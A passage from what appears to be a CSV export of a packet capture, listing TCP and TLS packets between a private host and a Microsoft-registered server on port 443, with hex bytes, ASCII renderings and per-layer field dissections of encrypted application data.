Ack=251465580,bc24112907bbbc2411360d0c08004500007f9683400080065a380a98980b28683eb2f9de01bb1e39ab8f0efd0f6c501803fad14e0000170303005200000000000000014a39e64f09e7c47e84daa450d6c9ad0d9184df52841d8801f70329541bdfc1184cfd2e4349ad86008bd1f222a0c817cb8bba9a7dafb6cc0966100e5da92747c4054e17cdb756b7d96533,\".$.)...$.6\n...E.....@...Z8\n...(h>......9.....lP....N......R........J9.O\t..~...P...\n...R......)T....L..CI......\"\".......}...\tf..].'G..N...V..e3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 38531, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23096, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095951, \"\"ack\"\": 251465580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 53582, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01J9\\\\xe6O\\\\t\\\\xe7\\\\xc4~\\\\x84\\\\xda\\\\xa4P\\\\xd6\\\\xc9\\\\xad\\\\r\\\\x91\\\\x84\\\\xdfR\\\\x84\\\\x1d\\\\x88\\\\x01\\\\xf7\\\\x03)T\\\\x1b\\\\xdf\\\\xc1\\\\x18L\\\\xfd.CI\\\\xad\\\\x86\\\\x00\\\\x8b\\\\xd1\\\\xf2\\\"\"\\\\xa0\\\\xc8\\\\x17\\\\xcb\\\\x8b\\\\xba\\\\x9a}\\\\xaf\\\\xb6\\\\xcc\\\\tf\\\\x10\\\\x0e]\\\\xa9\\\\'G\\\\xc4\\\\x05N\\\\x17\\\\xcd\\\\xb7V\\\\xb7\\\\xd9e3' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.139285,41,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251465580 Ack=507096038,bc2411360d0cbc24112907bb0800450000289c7640004006949c28683eb20a98980b01bbf9de0efd0f6c1e39abe65010003f09d80000,\".$.6\n..$.)....E..(.v@.@...(h>.\n..........l.9..P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40054, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38044, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465580, \"\"ack\"\": 507096038, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.139313,42,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507096038 Ack=251465580,bc24112907bbbc2411360d0c08004500004e9684400080065a680a98980b28683eb2f9de01bb1e39abe60efd0f6c501803fa58cc0000170303002100000000000000025a5d0394343e23844e0e642cdd0a4b3bffb4bce84ad2fa826b,\".$.)...$.6\n...E..N..@...Zh\n...(h>......9.....lP...X.......!........Z]..4>#.N.d,.\nK;....J...k\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 38532, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23144, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096038, \"\"ack\"\": 251465580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 22732, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02Z]\\\\x03\\\\x944>#\\\\x84N\\\\x0ed,\\\\xdd\\\\nK;\\\\xff\\\\xb4\\\\xbc\\\\xe8J\\\\xd2\\\\xfa\\\\x82k' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.139323,43,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251465580 Ack=507096076,bc2411360d0cbc24112907bb0800450000289c7740004006949b28683eb20a98980b01bbf9de0efd0f6c1e39ac0c5010003f09d80000,\".$.6\n..$.)....E..(.w@.@...(h>.\n..........l.9..P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40055, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38043, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465580, \"\"ack\"\": 507096076, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.139343,44,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507096076 Ack=251465580,bc24112907bbbc2411360d0c08004500009a9685400080065a1b0a98980b28683eb2f9de01bb1e39ac0c0efd0f6c501803fafa8f0000170303006d0000000000000003865563d53c51af34b4d59b8b632380bb7cef64028836a473bcb8136cbd10d32a054fe44ac572ee3af6ff7071c49e4d6aeac48b481bb2285c77807022062b9df6732e05a6277e9a059fe283412f928c6f4edc677a5059725eabf5a3b84093892b2c2f697fb1,\".$.)...$.6\n...E.....@...Z.\n...(h>......9.....lP...........m.........Uc.<Q.4....c#..|.d..6.s...l...*.O.J.r.:..pq..Mj...H..(\\w.p\"\".+..s...'~.....A/..oN.gzPYr^....@..+,/i..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 154, \"\"id\"\": 38533, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23067, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096076, \"\"ack\"\": 251465580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 64143, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 109, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x86Uc\\\\xd5<Q\\\\xaf4\\\\xb4\\\\xd5\\\\x9b\\\\x8bc#\\\\x80\\\\xbb|\\\\xefd\\\\x02\\\\x886\\\\xa4s\\\\xbc\\\\xb8\\\\x13l\\\\xbd\\\\x10\\\\xd3*\\\\x05O\\\\xe4J\\\\xc5r\\\\xee:\\\\xf6\\\\xffpq\\\\xc4\\\\x9eMj\\\\xea\\\\xc4\\\\x8bH\\\\x1b\\\\xb2(\\\\\\\\w\\\\x80p\\\"\"\\\\x06+\\\\x9d\\\\xf6s.\\\\x05\\\\xa6\\\\'~\\\\x9a\\\\x05\\\\x9f\\\\xe2\\\\x83A/\\\\x92\\\\x8coN\\\\xdcgzPYr^\\\\xab\\\\xf5\\\\xa3\\\\xb8@\\\\x93\\\\x89+,/i\\\\x7f\\\\xb1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.139346,45,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251465580 Ack=507096190,bc2411360d0cbc24112907bb0800450000289c7840004006949a28683eb20a98980b01bbf9de0efd0f6c1e39ac7e5010003f09d80000,\".$.6\n..$.)....E..(.x@.@...(h>.\n..........l.9.~P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40056, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38042, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465580, \"\"ack\"\": 507096190, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.446630,46,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=251465580 Ack=507096190,bc2411360d0cbc24112907bb08004500004e9c7940004006947328683eb20a98980b01bbf9de0efd0f6c1e39ac7e5018003f09fe0000170303002100000000000000027380c082e9cd81f8390d463176f26193ef60073d7ee2fd9b05,\".$.6\n..$.)....E..N.y@.@..s(h>.\n..........l.9.~P..?\t.......!........s.......9\nF1v.a..`.=~....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 40057, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38003, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465580, \"\"ack\"\": 507096190, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2558, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02s\\\\x80\\\\xc0\\\\x82\\\\xe9\\\\xcd\\\\x81\\\\xf89\\\\rF1v\\\\xf2a\\\\x93\\\\xef`\\\\x07=~\\\\xe2\\\\xfd\\\\x9b\\\\x05' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.446932,47,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507096190 Ack=251465618,bc24112907bbbc2411360d0c0800450000289686400080065a8c0a98980b28683eb2f9de01bb1e39ac7e0efd0f92501003fabd3c0000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.~....P....<..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38534, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23180, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507096190, \"\"ack\"\": 251465618, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 48444, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.470858,48,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=251465618 Ack=507096190,bc2411360d0cbc24112907bb08004500043e9c7a40004006908228683eb20a98980b01bbf9de0efd0f921e39ac7e5018003f0dee00001703030317000000000000000319dbe722d97535d036526043e5816c5a5152e9ddbee74e4a8660a53a3f19eb7e00df26d99503b40aa1dd3618105acda6e4c318a644c1ab8c780c7bb6382a68bb44a070d068ba579913bcf006b31783aacc9467d14239d48f1184fbe4b6f41a46114141b07bac621804d788eafb60b6cda6bfadb68958afbeca45746cd2d6ead8b14323af9ab6a2183c19309bfc96120947e696903a9dcbfd407507065b3aff697644ac035a64f9a5f2d5656066651d68d7e9734fa0c570299a92ac2fd2e56f97a240bd30db6bf8d251d971cfe74781f1f9f93b867cfab267f9c86dc730eaf577609cbc0cabb0a2de85329ac254fe071d94043df57192731f18cb83b5524495f8bc399b76813afd50b89fcb3a1148564690c4a5f28685c84837bec7d74fabca516b48515598411cab0c980dc13c1203847cfbe7d76f777005aa102ef1b5e3ef01d479d48d04b617a416a9cac4cc7f5c39db0840de78960c5a6c3be491261fb604bf5521bc46e49d8f59becee590f1c54f0b53dcb7f5069497acd391a8e1ec9c79d9eb8aa8af3a7caddd7c04a3b94945348ba352b7261d2920d80b80ddd2804625f36d8f20fe8515b2ada88b769f75af2c418d787326d4a60db0b189e427a35ae04340495b37d1b853583ee24fc7f481e52e5a39886086cad2b784a6168cd77c6f01314276d69e66cb095126fe9dd94f98013d59ef245d9d93b3131530d98c7a55e33d2e4a4bb22192036a3aaef4606665487e0f328cf6ac35bdd0c6f64a5eec08eddaabcb33153301853db5cb785a3a222a9f15f15bd35a649f34731ad47a26e3273522380d6a3e79671320544c7e72dbacdec7b4d5288d07fd19149813db26a52428320b574f804c29ad313ae9f4fb51dfe553e729083bea3bc85ab4c213571e624e55cd43a303d172150561c34bed3751ac36111ca6a075558d63f00d1368dad3bb9f9cc08e1cbd5c234035fce35c11c774511aa72489d77c5b2e9965fcdfc260e1b91f5901c3dbe425601c87dd5a82d91a648f0c81525f512df22a358ab8964559caa5244215f7fda2117c88d722e4813c19b93839116e3dd443e92e1e7ba761a288e50f6519de6c54f6eeb6f1bd17030300cf0000000000000004c0429465e8e5c8d0a37c3d368238bfad17927b79aac03ef8a8c2ef854fab401eed169c0c23c885e6bfc517e700f7434a6a9b02cca701433d055ccb9a4225d9d85eb254eb2b97d1238efc9f3acd7edcbe1768cb8931d75c42179a6fec5d59cc28a940aa02d367a56b929ec35a06aee3f7e77444af35eb5318edfedf7a7f49b7834c80050b4687d548e81a8cd35b2b627d2cb99ae18a839ae95a975d18b082b718fe83b6a712901656b4be940c312fc38b8734b7caf7e63412ca33269ce62a86f919d11c0040e7b117030300210000000000000005de9201c5e867c6e8b40f29538450a4fb41bc13fad7ae71eab0,\".$.6\n..$.)....E..>.z@.@...(h>.\n............9.~P..?\n...................\"\".u5.6R`C..lZQR....NJ.`.:?..~..&....\n..6..Z......D...x.{.8*h.D.p.h.W...........g.B9.........F.AA.{.b......`.......X...Etl.....C#.....<.0....\tG...:...@u..[:.ivD..Zd....e`fe.h..sO..p).../..o..@.0.k..Q.q..G....;.|..g..m.0..w`........2..T.....=.q.s.....RD...9.v.:.P...:.HVF.......H7...O..QkHQU.A....\n.<...|...owp..........y............\\9..@.x..Zl;..&....U!.F...Y......O.S.............y.....:|..|...IE4..R.&.) ......F%.m. .......v.u.,A.xs&..\n....'.Z.C@I[7..SX>.O.....Z9.`.........|o.1Bv..f.\tQ&...O..=Y.$].....0..zU.=.JK.!..j:..`feH~.2...5....J^......3.3..=..xZ:\"\"*...[.Zd.4s..z&.'5\"\"8\nj>yg. TL~r......(........&.$(2.WO.L).1:...Q..S.).;.;.Z...W.bNU.C...r..a.K.7Q.6....uU.c.\n.h.........\\#@5..\\..tQ..$..|[..e...`...Y....%`...Z...d...R_Q-.*5...EY..$B.....|..\"\"..<..89.n=.C...{.a....e..lT...................B.e.....|=6.8....{y..>.....O.@.....#.........CJj.....C=.\\..B%..^.T.+..#...:.~...h..1.\\B..o.]Y.(.@...g.k...Z.....tD.5.S....z.I..L...F..H....[+b},.......Z.]............V....1/...4....4..3&..*......@......!.............g....)S.P..A.....q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1086, \"\"id\"\": 40058, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 36994, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465618, \"\"ack\"\": 507096190, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3566, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 791, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x19\\\\xdb\\\\xe7\\\"\"\\\\xd9u5\\\\xd06R`C\\\\xe5\\\\x81lZQR\\\\xe9\\\\xdd\\\\xbe\\\\xe7NJ\\\\x86`\\\\xa5:?\\\\x19\\\\xeb~\\\\x00\\\\xdf&\\\\xd9\\\\x95\\\\x03\\\\xb4\\\\n\\\\xa1\\\\xdd6\\\\x18\\\\x10Z\\\\xcd\\\\xa6\\\\xe4\\\\xc3\\\\x18\\\\xa6D\\\\xc1\\\\xab\\\\x8cx\\\\x0c{\\\\xb68*h\\\\xbbD\\\\xa0p\\\\xd0h\\\\xbaW\\\\x99\\\\x13\\\\xbc\\\\xf0\\\\x06\\\\xb3\\\\x17\\\\x83\\\\xaa\\\\xcc\\\\x94g\\\\xd1B9\\\\xd4\\\\x8f\\\\x11\\\\x84\\\\xfb\\\\xe4\\\\xb6\\\\xf4\\\\x1aF\\\\x11AA\\\\xb0{\\\\xacb\\\\x18\\\\x04\\\\xd7\\\\x88\\\\xea\\\\xfb`\\\\xb6\\\\xcd\\\\xa6\\\\xbf\\\\xad\\\\xb6\\\\x89X\\\\xaf\\\\xbe\\\\xcaEtl\\\\xd2\\\\xd6\\\\xea\\\\xd8\\\\xb1C#\\\\xaf\\\\x9a\\\\xb6\\\\xa2\\\\x18<\\\\x190\\\\x9b\\\\xfc\\\\x96\\\\x12\\\\tG\\\\xe6\\\\x96\\\\x90:\\\\x9d\\\\xcb\\\\xfd@u\\\\x07\\\\x06[:\\\\xffivD\\\\xac\\\\x03Zd\\\\xf9\\\\xa5\\\\xf2\\\\xd5e`fe\\\\x1dh\\\\xd7\\\\xe9sO\\\\xa0\\\\xc5p)\\\\x9a\\\\x92\\\\xac/\\\\xd2\\\\xe5o\\\\x97\\\\xa2@\\\\xbd0\\\\xdbk\\\\xf8\\\\xd2Q\\\\xd9q\\\\xcf\\\\xe7G\\\\x81\\\\xf1\\\\xf9\\\\xf9;\\\\x86|\\\\xfa\\\\xb2g\\\\xf9\\\\xc8m\\\\xc70\\\\xea\\\\xf5w`\\\\x9c\\\\xbc\\\\x0c\\\\xab\\\\xb0\\\\xa2\\\\xde\\\\x852\\\\x9a\\\\xc2T\\\\xfe\\\\x07\\\\x1d\\\\x94\\\\x04=\\\\xf5q\\\\x92s\\\\x1f\\\\x18\\\\xcb\\\\x83\\\\xb5RD\\\\x95\\\\xf8\\\\xbc9\\\\x9bv\\\\x81:\\\\xfdP\\\\xb8\\\\x9f\\\\xcb:\\\\x11HVF\\\\x90\\\\xc4\\\\xa5\\\\xf2\\\\x86\\\\x85\\\\xc8H7\\\\xbe\\\\xc7\\\\xd7O\\\\xab\\\\xcaQkHQU\\\\x98A\\\\x1c\\\\xab\\\\x0c\\\\x98\\\\r\\\\xc1<\\\\x12\\\\x03\\\\x84|\\\\xfb\\\\xe7\\\\xd7owp\\\\x05\\\\xaa\\\\x10.\\\\xf1\\\\xb5\\\\xe3\\\\xef\\\\x01\\\\xd4y\\\\xd4\\\\x8d\\\\x04\\\\xb6\\\\x17\\\\xa4\\\\x16\\\\xa9\\\\xca\\\\xc4\\\\xcc\\\\x7f\\\\\\\\9\\\\xdb\\\\x08@\\\\xdex\\\\x96\\\\x0cZl;\\\\xe4\\\\x91&\\\\x1f\\\\xb6\\\\x04\\\\xbfU!\\\\xbcF\\\\xe4\\\\x9d\\\\x8fY\\\\xbe\\\\xce\\\\xe5\\\\x90\\\\xf1\\\\xc5O\\\\x0bS\\\\xdc\\\\xb7\\\\xf5\\\\x06\\\\x94\\\\x97\\\\xac\\\\xd3\\\\x91\\\\xa8\\\\xe1\\\\xec\\\\x9cy\\\\xd9\\\\xeb\\\\x8a\\\\xa8\\\\xaf:|\\\\xad\\\\xdd|\\\\x04\\\\xa3\\\\xb9IE4\\\\x8b\\\\xa3R\\\\xb7&\\\\x1d) \\\\xd8\\\\x0b\\\\x80\\\\xdd\\\\xd2\\\\x80F%\\\\xf3m\\\\x8f \\\\xfe\\\\x85\\\\x15\\\\xb2\\\\xad\\\\xa8\\\\x8bv\\\\x9fu\\\\xaf,A\\\\x8dxs&\\\\xd4\\\\xa6\\\\r\\\\xb0\\\\xb1\\\\x89\\\\xe4\\\\'\\\\xa3Z\\\\xe0C@I[7\\\\xd1\\\\xb8SX>\\\\xe2O\\\\xc7\\\\xf4\\\\x81\\\\xe5.Z9\\\\x88`\\\\x86\\\\xca\\\\xd2\\\\xb7\\\\x84\\\\xa6\\\\x16\\\\x8c\\\\xd7|o\\\\x011Bv\\\\xd6\\\\x9ef\\\\xcb\\\\tQ&\\\\xfe\\\\x9d\\\\xd9O\\\\x98\\\\x01=Y\\\\xef$]\\\\x9d\\\\x93\\\\xb3\\\\x13\\\\x150\\\\xd9\\\\x8czU\\\\xe3=.JK\\\\xb2!\\\\x92\\\\x03j:\\\\xae\\\\xf4`feH~\\\\x0f2\\\\x8c\\\\xf6\\\\xac5\\\\xbd\\\\xd0\\\\xc6\\\\xf6J^\\\\xec\\\\x08\\\\xed\\\\xda\\\\xab\\\\xcb3\\\\x153\\\\x01\\\\x85=\\\\xb5\\\\xcbxZ:\\\"\"*\\\\x9f\\\\x15\\\\xf1[\\\\xd3Zd\\\\x9f4s\\\\x1a\\\\xd4z&\\\\xe3\\\\'5\\\"\"8\\\\rj>yg\\\\x13 